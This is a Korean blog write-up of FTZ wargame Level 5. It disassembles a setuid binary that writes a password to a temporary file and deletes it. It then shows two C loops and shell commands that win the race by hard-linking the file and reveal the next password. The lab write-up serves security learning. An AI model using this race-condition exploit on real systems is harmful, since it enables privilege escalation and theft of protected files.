Phantom

FTZ Level5 본문

Pwnable/[Wargame] FTZ

FTZ Level5

Ph4nt0m_ 2016. 3. 18. 09:20
반응형

 

이번 단계는 나는 솔직히 공략을 조금 봤다

 

공략을 보기 전까지 계속고민했다

 

결국 공략을 봤다

 

물론 공략 그대로 따라하진 않았다 보고 난 후에 내 방식대로 문제를 풀었다

 

먼저 힌트를 봤을 때 레이스컨디션이구나 라는게 단박에 떠올랐다

 

/usr/bin/level5는 소유자가 level6으로 되있어 디버깅이 안된다

그래서 level6으로 로그인 후 디버깅을 했다

 

0x0804842c <main+0>:    push ebp 스택 프레임

0x0804842d <main+1>:    mov ebp,esp 8바이트 만큼 할당

0x0804842f <main+3>:    sub esp,0x8

--------------------------------------------------------------------------------------------------------------

0x08048432 <main+6>:    and esp,0xfffffff0

0x08048435 <main+9>:    mov eax,0x0

0x0804843a <main+14>:    sub esp,eax

0x0804843c <main+16>:    sub esp,0x8

0x0804843f <main+19>:    push 0x180

0x08048444 <main+24>:    push 0x8048580        creat("/tmp/level5.tmp", 384) 실행

0x08048449 <main+29>:    call 0x804832c <creat>        /tmp/level5.tmp 파일 생성

--------------------------------------------------------------------------------------------------------------

0x0804844e <main+34>:    add esp,0x10

0x08048451 <main+37>:    mov DWORD PTR [ebp-4],eax

0x08048454 <main+40>:    cmp DWORD PTR [ebp-4],0x0

0x08048458 <main+44>:    jns 0x8048484 <main+88>        변수 a가 음수 일 때

0x0804845a <main+46>:    sub esp,0xc            can not create a temporary file 출력

0x0804845d <main+49>:    push 0x80485a0

0x08048462 <main+54>:    call 0x804835c <printf>

0x08048467 <main+59>:    add esp,0x10

--------------------------------------------------------------------------------------------------------------

0x0804846a <main+62>:    sub esp,0xc

0x0804846d <main+65>:    push 0x8048580        

0x08048472 <main+70>:    call 0x804833c <remove>    /tmp/level5.tmp 파일 삭제 후

0x08048477 <main+75>:    add esp,0x10                exit 함수 실행

0x0804847a <main+78>:    sub esp,0xc

0x0804847d <main+81>:    push 0x0

0x0804847f <main+83>:    call 0x804836c <exit>

--------------------------------------------------------------------------------------------------------------

 

0x08048484 <main+88>:    sub esp,0x4

0x08048487 <main+91>:    push 0x1f            변수 a가 양수 일 때

0x08048489 <main+93>:    push 0x80485e0         0x8048484로 점프 후

0x0804848e <main+98>:    push DWORD PTR [ebp-4]    write("next password : what the hell")

0x08048491 <main+101>:    call 0x804830c <write>            함수 실행

--------------------------------------------------------------------------------------------------------------

0x08048496 <main+106>:    add esp,0x10

0x08048499 <main+109>:    sub esp,0xc

0x0804849c <main+112>:    push DWORD PTR [ebp-4]

0x0804849f <main+115>:    call 0x804831c <close>

0x080484a4 <main+120>:    add esp,0x10

0x080484a7 <main+123>:    sub esp,0xc

0x080484aa <main+126>:    push 0x8048580        remove("/tmp/level5.tmp") 실행

0x080484af <main+131>:    call 0x804833c <remove>    /tmp/level5.tmp 삭제

--------------------------------------------------------------------------------------------------------------

0x080484b4 <main+136>:    add esp,0x10

0x080484b7 <main+139>:    leave

0x080484b8 <main+140>:    ret

0x080484b9 <main+141>:    nop

0x080484ba <main+142>:    nop

0x080484bb <main+143>:    nop

 

프로그램 구동 방식은 이렇다

프로그램을 실행하면 creat 함수를 실행해 파일을 생성하고

무엇인진 모르겠지만 파일을 검사하고 리턴값이 양수이면 write를, 음수면 can not create a temporary file를 출력한다

그리고 다시한번 파일을 지운다

 

파일을 지우기 전에 링크를 걸어야 한다

 

다음과 같은 코드를 짜봤다

#include <stdio.h>

 

void main(){

while(1){

system("/usr/bin/level5");

}

}

 

#include <stdio.h>

 

int main(){

while(1){

system("ln /tmp/level5.tmp ./test");

}

}

 

그리고 파일을 보기 위해 cat로 test를 만들어 둔다

 

[level5@ftz tmp]$ cat > test

 

[2]+ Stopped cat >test

 

그리고 다음 두 프로그램을 백그라운드로 실행한다

 

[level5@ftz tmp]$ ./exploit &

[1] 23141

[level5@ftz tmp]$ ./link &

 

그럼 ln: `./test': 파일이 존재합니다

라고 뜨며 test파일을 보면

다음과 같은 결과가 나온다

[level5@ftz tmp]$ cat test

next password : what the hell

 

이로써 lvel5 를 클리어했다

반응형

'Pwnable > [Wargame] FTZ' 카테고리의 다른 글

FTZ Level7  (0) 2016.03.18
FTZ Level6  (0) 2016.03.18
FTZ Level4  (0) 2016.03.18
FTZ Level3  (0) 2016.03.18
FTZ Level2  (0) 2016.03.18
Comments